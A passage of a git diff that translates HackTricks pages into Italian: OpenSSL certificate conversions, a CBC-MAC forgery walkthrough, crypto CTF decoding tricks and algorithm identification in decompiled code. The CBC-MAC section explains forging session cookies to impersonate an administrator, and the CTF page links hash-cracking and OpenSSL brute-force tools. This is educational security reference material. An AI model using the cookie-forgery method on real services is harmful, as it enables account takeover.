certificatename.pem ``` +**Le conversioni PFX** sono fondamentali per la gestione dei certificati su Windows: -**PFX conversions** are crucial for managing certificates on Windows: - -- **PFX to PEM** - +- **PFX a PEM** ```bash openssl pkcs12 -in certificatename.pfx -out certificatename.pem ``` - -- **PFX to PKCS#8** involves two steps: - 1. Convert PFX to PEM - +- **PFX a PKCS#8** comporta due passaggi: +1. Convertire PFX in PEM ```bash openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem ``` - -2. Convert PEM to PKCS8 - +2. Convertire PEM in PKCS8 ```bash openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 ``` - -- **P7B to PFX** also requires two commands: - 1. Convert P7B to CER - +- **P7B a PFX** richiede anche due comandi: +1. Convertire P7B in CER ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer ``` - -2. Convert CER and Private Key to PFX - +2. Convertire CER e chiave privata in PFX ```bash openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer ``` - -- **ASN.1 (DER/PEM) editing** (works with certificates or almost any other ASN.1 structure): - 1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/) - +- **Modifica ASN.1 (DER/PEM)** (funziona con certificati o quasi qualsiasi altra struttura ASN.1): +1. Clona [asn1template](https://github.com/wllm-rbnt/asn1template/) ```bash git clone https://github.com/wllm-rbnt/asn1template.git ``` - -2. Convert DER/PEM to OpenSSL's generation format - +2. Convertire DER/PEM nel formato di generazione di OpenSSL ```bash asn1template/asn1template.pl certificatename.der > certificatename.tpl asn1template/asn1template.pl -p certificatename.pem > certificatename.tpl ``` - -3. Edit certificatename.tpl according to your requirements - +3. Modifica certificatename.tpl secondo le tue esigenze ```bash vim certificatename.tpl ``` - -4. Rebuild the modified certificate - +4. Ricostruire il certificato modificato ```bash openssl asn1parse -genconf certificatename.tpl -out certificatename_new.der openssl asn1parse -genconf certificatename.tpl -outform PEM -out certificatename_new.pem ``` - ---- - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %} +--- {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md b/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md index 47f1b2713..b912c6316 100644 --- a/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md +++ b/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md @@ -2,54 +2,54 @@ # CBC -If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie. +Se il **cookie** è **solo** il **nome utente** (o la prima parte del cookie è il nome utente) e vuoi impersonare il nome utente "**admin**". Allora, puoi creare il nome utente **"bdmin"** e **bruteforce** il **primo byte** del cookie. # CBC-MAC -**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security. +**Cipher block chaining message authentication code** (**CBC-MAC**) è un metodo utilizzato in crittografia. Funziona prendendo un messaggio e crittografandolo blocco per blocco, dove la crittografia di ogni blocco è collegata a quella precedente. Questo processo crea una **catena di blocchi**, assicurando che cambiare anche un solo bit del messaggio originale porterà a un cambiamento imprevedibile nell'ultimo blocco di dati crittografati. Per effettuare o invertire tale cambiamento, è necessaria la chiave di crittografia, garantendo la sicurezza. -To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E: +Per calcolare il CBC-MAC del messaggio m, si crittografa m in modalità CBC con un vettore di inizializzazione zero e si conserva l'ultimo blocco. La figura seguente schizza il calcolo del CBC-MAC di un messaggio composto da blocchi![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) utilizzando una chiave segreta k e un cifrario a blocchi E: ![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png]() -# Vulnerability +# Vulnerabilità -With CBC-MAC usually the **IV used is 0**.\ -This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So: +Con CBC-MAC di solito il **IV utilizzato è 0**.\ +Questo è un problema perché 2 messaggi noti (`m1` e `m2`) genereranno indipendentemente 2 firme (`s1` e `s2`). Quindi: - `E(m1 XOR 0) = s1` - `E(m2 XOR 0) = s2` -Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32): +Poi un messaggio composto da m1 e m2 concatenati (m3) genererà 2 firme (s31 e s32): - `E(m1 XOR 0) = s31 = s1` - `E(m2 XOR s1) = s32` -**Which is possible to calculate without knowing the key of the encryption.** +**Il che è possibile calcolare senza conoscere la chiave della crittografia.** -Imagine you are encrypting the name **Administrator** in **8bytes** blocks: +Immagina di crittografare il nome **Administrator** in blocchi di **8bytes**: - `Administ` - `rator\00\00\00` -You can create a username called **Administ** (m1) and retrieve the signature (s1).\ -Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\ -now, you can use s32 as the signature of the full name **Administrator**. +Puoi creare un nome utente chiamato **Administ** (m1) e recuperare la firma (s1).\ +Poi, puoi creare un nome utente chiamato il risultato di `rator\00\00\00 XOR s1`. Questo genererà `E(m2 XOR s1 XOR 0)` che è s32.\ +Ora, puoi usare s32 come la firma del nome completo **Administrator**. -### Summary +### Riepilogo -1. Get the signature of username **Administ** (m1) which is s1 -2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.** -3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**. +1. Ottieni la firma del nome utente **Administ** (m1) che è s1 +2. Ottieni la firma del nome utente **rator\x00\x00\x00 XOR s1 XOR 0** che è s32**.** +3. Imposta il cookie su s32 e sarà un cookie valido per l'utente **Administrator**. -# Attack Controlling IV +# Attacco Controllando IV -If you can control the used IV the attack could be very easy.\ -If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\ -Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**. +Se puoi controllare l'IV utilizzato, l'attacco potrebbe essere molto facile.\ +Se i cookie sono solo il nome utente crittografato, per impersonare l'utente "**administrator**" puoi creare l'utente "**Administrator**" e otterrai il suo cookie.\ +Ora, se puoi controllare l'IV, puoi cambiare il primo byte dell'IV in modo che **IV\[0] XOR "A" == IV'\[0] XOR "a"** e rigenerare il cookie per l'utente **Administrator.** Questo cookie sarà valido per **impersonare** l'utente **administrator** con l'**IV** iniziale. -## References +## Riferimenti -More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) +Maggiore informazione in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/crypto-ctfs-tricks.md b/src/crypto-and-stego/crypto-ctfs-tricks.md index bb2b5f049..4dedff810 100644 --- a/src/crypto-and-stego/crypto-ctfs-tricks.md +++ b/src/crypto-and-stego/crypto-ctfs-tricks.md @@ -4,7 +4,7 @@ ## Online Hashes DBs -- _**Google it**_ +- _**Cercalo su Google**_ - [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) - [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) - [https://crackstation.net/](https://crackstation.net) @@ -19,13 +19,13 @@ ## Magic Autosolvers - [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey) -- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module) +- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Modulo Magico) - [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking) ## Encoders -Most of encoded data can be decoded with these 2 ressources: +La maggior parte dei dati codificati può essere decifrata con queste 2 risorse: - [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) - [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) @@ -33,7 +33,7 @@ Most of encoded data can be decoded with these 2 ressources: ### Substitution Autosolvers - [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) -- [https://quipqiup.com/](https://quipqiup.com) - Very good ! +- [https://quipqiup.com/](https://quipqiup.com) - Molto buono! #### Caesar - ROTx Autosolvers @@ -45,95 +45,90 @@ Most of encoded data can be decoded with these 2 ressources: ### Base Encodings Autosolver -Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) +Controlla tutte queste basi con: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - **Ascii85** - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base26** \[_A-Z_] - - `BQEKGAHRJKHQMVZGKUXNT` +- `BQEKGAHRJKHQMVZGKUXNT` - **Base32** \[_A-Z2-7=_] - - `NBXWYYLDMFZGCY3PNRQQ====` +- `NBXWYYLDMFZGCY3PNRQQ====` - **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_] - - `pbzsaamdcf3gna5xptoo====` +- `pbzsaamdcf3gna5xptoo====` - **Base32 Geohash** \[_0-9b-hjkmnp-z_] - - `e1rqssc3d5t62svgejhh====` +- `e1rqssc3d5t62svgejhh====` - **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_] - - `D1QPRRB3C5S62RVFDHGG====` +- `D1QPRRB3C5S62RVFDHGG====` - **Base32 Extended Hexadecimal** \[_0-9A-V_] - - `D1NMOOB3C5P62ORFDHGG====` +- `D1NMOOB3C5P62ORFDHGG====` - **Base45** \[_0-9A-Z $%\*+-./:_] - - `59DPVDGPCVKEUPCPVD` +- `59DPVDGPCVKEUPCPVD` - **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_] - - `2yJiRg5BF9gmsU6AC` +- `2yJiRg5BF9gmsU6AC` - **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_] - - `2YiHqF5bf9FLSt6ac` +- `2YiHqF5bf9FLSt6ac` - **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_] - - `pyJ5RgnBE9gm17awU` +- `pyJ5RgnBE9gm17awU` - **Base62** \[_0-9A-Za-z_] - - `g2AextRZpBKRBzQ9` +- `g2AextRZpBKRBzQ9` - **Base64** \[_A-Za-z0-9+/=_] - - `aG9sYWNhcmFjb2xh` +- `aG9sYWNhcmFjb2xh` - **Base67** \[_A-Za-z0-9-_.!\~\_] - - `NI9JKX0cSUdqhr!p` +- `NI9JKX0cSUdqhr!p` - **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `<~BQ%]q@psCd@rH0l~>` -- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] - - `Xm4y`V\_|Y(V{dF>\` +- `<~BQ%]q@psCd@rH0l~>` +- **Base85 (IPv6 o RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] +- `Xm4y`V\_|Y(V{dF>\` - **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` +- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` - **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_] - - `Xm4y|V{~Y+V}dF?` +- `Xm4y|V{~Y+V}dF?` - **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_] - - `frDg[*jNN!7&BQM` +- `frDg[*jNN!7&BQM` - **Base100** \[] - - `👟👦👣👘👚👘👩👘👚👦👣👘` +- `👟👦👣👘👚👘👩👘👚👦👣👘` - **Base122** \[] - - `4F ˂r0Xmvc` +- `4F ˂r0Xmvc` - **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] - - `MIc3KiXa+Ihz+lrXMIc3KbCC` +- `MIc3KiXa+Ihz+lrXMIc3KbCC` - **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] - - `DmPsv8J7qrlKEoY7` +- `DmPsv8J7qrlKEoY7` - **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_] - - `kLD8iwKsigSalLJ5` +- `kLD8iwKsigSalLJ5` - **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] - - `ayRiIo1gpO+uUc7g` +- `ayRiIo1gpO+uUc7g` - **ESAB46** \[] - - `3sHcL2NR8WrT7mhR` +- `3sHcL2NR8WrT7mhR` - **MEGAN45** \[] - - `kLD8igSXm2KZlwrX` +- `kLD8igSXm2KZlwrX` - **TIGO3FX** \[] - - `7AP9mIzdmltYmIP9mWXX` +- `7AP9mIzdmltYmIP9mWXX` - **TRIPO5** \[] - - `UE9vSbnBW6psVzxB` +- `UE9vSbnBW6psVzxB` - **FERON74** \[] - - `PbGkNudxCzaKBm0x` +- `PbGkNudxCzaKBm0x` - **GILA7** \[] - - `D+nkv8C1qIKMErY1` +- `D+nkv8C1qIKMErY1` - **Citrix CTX1** \[] - - `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` +- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` [http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) ### HackerizeXS \[_╫Λ↻├☰┏_] - ``` ╫☐↑Λ↻Λ┏Λ↻☐↑Λ ``` - -- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) +- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Morto: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) ### Morse - ``` .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- ``` - -- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) +- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Morto: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) ### UUencoder - ``` begin 644 webutils_pl M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( @@ -142,96 +137,79 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$` ` end ``` - - [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu) ### XXEncoder - ``` begin 644 webutils_pl hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236 5Hol-G2xAEE++ end ``` - - [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx) ### YEncoder - ``` =ybegin line=128 size=28 name=webutils_pl ryvkryvkryvkryvkryvkryvkryvk =yend size=28 crc32=35834c86 ``` - - [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc) ### BinHex - ``` (This file must be converted with BinHex 4.0) :#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p -38K26%'d9J!!: ``` - - [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex) ### ASCII85 - ``` <~85DoF85DoF85DoF85DoF85DoF85DoF~> ``` - - [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85) -### Dvorak keyboard - +### Tastiera Dvorak ``` drnajapajrna ``` - - [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard) ### A1Z26 -Letters to their numerical value - +Lettere al loro valore numerico ``` 8 15 12 1 3 1 18 1 3 15 12 1 ``` - ### Affine Cipher Encode -Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter - +Lettera a numero `(ax+b)%26` (_a_ e _b_ sono le chiavi e _x_ è la lettera) e il risultato di nuovo in lettera ``` krodfdudfrod ``` - ### SMS Code -**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\ -For example: 2=A, 22=B, 222=C, 3=D...\ -You can identify this code because you will see\*\* several numbers repeated\*\*. +**Multitap** [sostituisce una lettera](https://www.dcode.fr/word-letter-change) con cifre ripetute definite dal corrispondente codice chiave su una [tastiera del telefono](https://www.dcode.fr/phone-keypad-cipher) (Questo modo è usato quando si scrivono SMS).\ +Ad esempio: 2=A, 22=B, 222=C, 3=D...\ +Puoi identificare questo codice perché vedrai\*\* diversi numeri ripetuti\*\*. -You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) +Puoi decodificare questo codice in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) ### Bacon Code -Substitude each letter for 4 As or Bs (or 1s and 0s) - +Sostituisci ogni lettera con 4 A o B (o 1 e 0) ``` 00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ``` - ### Runes ![](../images/runes.jpg) ## Compression -**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers. +**Raw Deflate** e **Raw Inflate** (puoi trovarli entrambi in Cyberchef) possono comprimere e decomprimere dati senza intestazioni. ## Easy Crypto @@ -241,30 +219,25 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ### Bifid -A keywork is needed - +È necessaria una parola chiave. ``` fgaargaamnlunesuneoa ``` - ### Vigenere -A keywork is needed - +È necessaria una parola chiave ``` wodsyoidrods ``` - - [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver) - [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher) - [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx) -## Strong Crypto +## Crypto Forte ### Fernet -2 base64 strings (token and key) - +2 stringhe base64 (token e chiave) ``` Token: gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== @@ -272,27 +245,24 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC Key: -s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI= ``` - - [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) -### Samir Secret Sharing - -A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). +### Condivisione Segreta di Samir +Un segreto è suddiviso in X parti e per recuperarlo hai bisogno di Y parti (_Y <=X_). ``` 8019f8fa5879aa3e07858d08308dc1a8b45 80223035713295bddf0b0bd1b10a5340b89 803bc8cf294b3f83d88e86d9818792e80cd ``` - [http://christian.gen.co/secrets/](http://christian.gen.co/secrets/) -### OpenSSL brute-force +### Brute-force OpenSSL - [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) - [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) -## Tools +## Strumenti - [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) - [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) diff --git a/src/crypto-and-stego/cryptographic-algorithms/README.md b/src/crypto-and-stego/cryptographic-algorithms/README.md index bcfcf1d0a..3072fab27 100644 --- a/src/crypto-and-stego/cryptographic-algorithms/README.md +++ b/src/crypto-and-stego/cryptographic-algorithms/README.md @@ -1,184 +1,184 @@ -# Cryptographic/Compression Algorithms +# Algoritmi di Crittografia/Compressione -## Cryptographic/Compression Algorithms +## Algoritmi di Crittografia/Compressione {{#include ../../banners/hacktricks-training.md}} -## Identifying Algorithms +## Identificazione degli Algoritmi -If you ends in a code **using shift rights and lefts, xors and several arithmetic operations** it's highly possible that it's the implementation of a **cryptographic algorithm**. Here it's going to be showed some ways to **identify the algorithm that it's used without needing to reverse each step**. +Se si termina in un codice **che utilizza shift a destra e a sinistra, xors e diverse operazioni aritmetiche** è altamente probabile che sia l'implementazione di un **algoritmo crittografico**. Qui verranno mostrati alcuni modi per **identificare l'algoritmo utilizzato senza dover invertire ogni passaggio**. -### API functions +### Funzioni API **CryptDeriveKey** -If this function is used, you can find which **algorithm is being used** checking the value of the second parameter: +Se questa funzione è utilizzata, puoi scoprire quale **algoritmo è in uso** controllando il valore del secondo parametro: ![](<../../images/image (156).png>) -Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +Controlla qui la tabella degli algoritmi possibili e i loro valori assegnati: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) **RtlCompressBuffer/RtlDecompressBuffer** -Compresses and decompresses a given buffer of data. +Comprimi e decomprimi un dato buffer. **CryptAcquireContext** -From [the docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): The **CryptAcquireContext** function is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP). **This returned handle is used in calls to CryptoAPI** functions that use the selected CSP. +Dai [documenti](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): La funzione **CryptAcquireContext** è utilizzata per acquisire un handle a un particolare contenitore di chiavi all'interno di un particolare fornitore di servizi crittografici (CSP). **Questo handle restituito è utilizzato nelle chiamate alle funzioni CryptoAPI** che utilizzano il CSP selezionato. **CryptCreateHash** -Initiates the hashing of a stream of data. If this function is used, you can find which **algorithm is being used** checking the value of the second parameter: +Inizia l'hashing di un flusso di dati. Se questa funzione è utilizzata, puoi scoprire quale **algoritmo è in uso** controllando il valore del secondo parametro: ![](<../../images/image (549).png>) \ -Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +Controlla qui la tabella degli algoritmi possibili e i loro valori assegnati: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) -### Code constants +### Costanti di codice -Sometimes it's really easy to identify an algorithm thanks to the fact that it needs to use a special and unique value. +A volte è davvero facile identificare un algoritmo grazie al fatto che deve utilizzare un valore speciale e unico. ![](<../../images/image (833).png>) -If you search for the first constant in Google this is what you get: +Se cerchi la prima costante su Google, questo è ciò che ottieni: ![](<../../images/image (529).png>) -Therefore, you can assume that the decompiled function is a **sha256 calculator.**\ -You can search any of the other constants and you will obtain (probably) the same result. +Pertanto, puoi assumere che la funzione decompilata sia un **calcolatore sha256.**\ +Puoi cercare qualsiasi altra costante e otterrai (probabilmente) lo stesso risultato. -### data info +### info sui dati -If the code doesn't have any significant constant it may be **loading information from the .data section**.\ -You can access that data, **group the first dword** and search for it in google as we have done in the section before: +Se il codice non ha alcuna costante significativa, potrebbe essere **in caricamento di informazioni dalla sezione .data**.\ +Puoi accedere a quei dati, **raggruppare il primo dword** e cercarlo su Google come abbiamo fatto nella sezione precedente: ![](<../../images/image (531).png>) -In this case, if you look for **0xA56363C6** you can find that it's related to the **tables of the AES algorithm**. +In questo caso, se cerchi **0xA56363C6** puoi scoprire che è correlato alle **tabelle dell'algoritmo AES**. -## RC4 **(Symmetric Crypt)** +## RC4 **(Crittografia Simmetrica)** -### Characteristics +### Caratteristiche -It's composed of 3 main parts: +È composto da 3 parti principali: -- **Initialization stage/**: Creates a **table of values from 0x00 to 0xFF** (256bytes in total, 0x100). This table is commonly call **Substitution Box** (or SBox). -- **Scrambling stage**: Will **loop through the table** crated before (loop of 0x100 iterations, again) creating modifying each value with **semi-random** bytes. In order to create this semi-random bytes, the RC4 **key is used**. RC4 **keys** can be **between 1 and 256 bytes in length**, however it is usually recommended that it is above 5 bytes. Commonly, RC4 keys are 16 bytes in length. -- **XOR stage**: Finally, the plain-text or cyphertext is **XORed with the values created before**. The function to encrypt and decrypt is the same. For this, a **loop through the created 256 bytes** will be performed as many times as necessary. This is usually recognized in a decompiled code with a **%256 (mod 256)**. +- **Fase di inizializzazione/**: Crea una **tabella di valori da 0x00 a 0xFF** (256 byte in totale, 0x100). Questa tabella è comunemente chiamata **Substitution Box** (o SBox). +- **Fase di mescolamento**: Eseguirà un **ciclo attraverso la tabella** creata prima (ciclo di 0x100 iterazioni, di nuovo) modificando ciascun valore con byte **semi-casuali**. Per creare questi byte semi-casuali, viene utilizzata la **chiave RC4**. Le **chiavi RC4** possono essere **tra 1 e 256 byte di lunghezza**, tuttavia di solito si raccomanda che siano superiori a 5 byte. Comunemente, le chiavi RC4 sono lunghe 16 byte. +- **Fase XOR**: Infine, il testo in chiaro o il testo cifrato è **XORato con i valori creati prima**. La funzione per crittografare e decrittografare è la stessa. Per questo, verrà eseguito un **ciclo attraverso i 256 byte creati** tante volte quanto necessario. Questo è solitamente riconosciuto in un codice decompilato con un **%256 (mod 256)**. > [!NOTE] -> **In order to identify a RC4 in a disassembly/decompiled code you can check for 2 loops of size 0x100 (with the use of a key) and then a XOR of the input data with the 256 values created before in the 2 loops probably using a %256 (mod 256)** +> **Per identificare un RC4 in un codice disassemblato/decompilato puoi controllare 2 cicli di dimensione 0x100 (con l'uso di una chiave) e poi un XOR dei dati di input con i 256 valori creati prima nei 2 cicli probabilmente usando un %256 (mod 256)** -### **Initialization stage/Substitution Box:** (Note the number 256 used as counter and how a 0 is written in each place of the 256 chars) +### **Fase di Inizializzazione/Substitution Box:** (Nota il numero 256 usato come contatore e come uno 0 è scritto in ciascun posto dei 256 caratteri) ![](<../../images/image (584).png>) -### **Scrambling Stage:** +### **Fase di Mescolamento:** ![](<../../images/image (835).png>) -### **XOR Stage:** +### **Fase XOR:** ![](<../../images/image (904).png>) -## **AES (Symmetric Crypt)** +## **AES (Crittografia Simmetrica)** -### **Characteristics** +### **Caratteristiche** -- Use of **substitution boxes and lookup tables** - - It's possible to **distinguish AES thanks to the use of specific lookup table values** (constants). _Note that the **constant** can be **stored** in the binary **or created**_ _**dynamically**._ -- The **encryption key** must be **divisible** by **16** (usually 32B) and usually an **IV** of 16B is used. +- Uso di **scatole di sostituzione e tabelle di ricerca** +- 